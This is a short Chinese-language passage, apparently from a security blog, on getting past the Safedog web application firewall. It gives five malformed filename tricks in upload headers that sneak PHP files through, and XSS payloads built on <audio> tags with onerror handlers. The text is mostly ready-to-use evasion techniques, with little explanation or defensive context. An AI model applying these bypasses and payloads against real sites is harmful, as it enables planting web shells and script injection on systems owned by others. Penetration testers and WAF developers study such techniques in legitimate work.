我们要做的就是构造各种畸形数据包,以混淆WAF的检测规则。
获取文件名的地方在Content-Disposition和Content-Type,所以绕过的地方也主要在这两个地方
直接上传PHP文件会被拦截
绕过方法1
将filename=”hhh.php” 改为filename=hhh.php; 即可绕过
绕过方法2
各种换行,主要是要把点号和字符串”php”分开
绕过方法3
将filename=”hhh.php” 改为 filename==”hhh.php”(三个等号也可以绕过)
绕过方法4
文件名之间放置分号 filename=”hh;h.php”
绕过方法5
多个filename=”hhh.txt”,最后一个filename=”hhh.php”
XSS
查看安全狗的漏洞防护规则可以发现,安全狗对XSS的防护是基于黑名单的,我们只要fuzz一下哪些标签没有被过滤就好了。
有很多标签可以绕过,这里举例两种:
(1) <audio> 标签定义声音,比如音乐或其他音频流。
<audio src=http://www.52bug.cn/hkjs/1 onerror=alert(/xss/);>
<audio src=http://www.52bug.cn/hkjs/1 onerror=prompt('xss');>